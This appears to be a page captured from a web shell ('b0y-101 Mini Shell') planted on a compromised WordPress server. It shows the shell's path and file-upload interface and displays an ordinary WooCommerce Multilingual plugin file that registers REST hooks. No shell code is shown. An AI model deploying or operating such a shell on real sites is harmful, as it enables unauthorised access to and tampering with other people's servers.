b0y-101 Mini Shell


Current Path : E:/wordpress/wp-content/plugins/woocommerce-multilingual/classes/Rest/Store/
File Upload :
Current File : E:/wordpress/wp-content/plugins/woocommerce-multilingual/classes/Rest/Store/HooksFactory.php

<?php

namespace WCML\Rest\Store;

use WCML\Rest\Functions;

class HooksFactory implements \IWPML_REST_Action_Loader {

	/**
	 * @return \IWPML_Action[]
	 */
	public function create() {
		global $woocommerce_wpml;

		$hooks = [];

		if ( Functions::isStoreAPIRequest() ) {
			$hooks[] = new Hooks();

			if ( wcml_is_multi_currency_on() ) {
				$hooks[] = new PriceRangeHooks( $woocommerce_wpml );
			}
		}

		return $hooks;
	}

}

Copyright © 2019 by b0y-101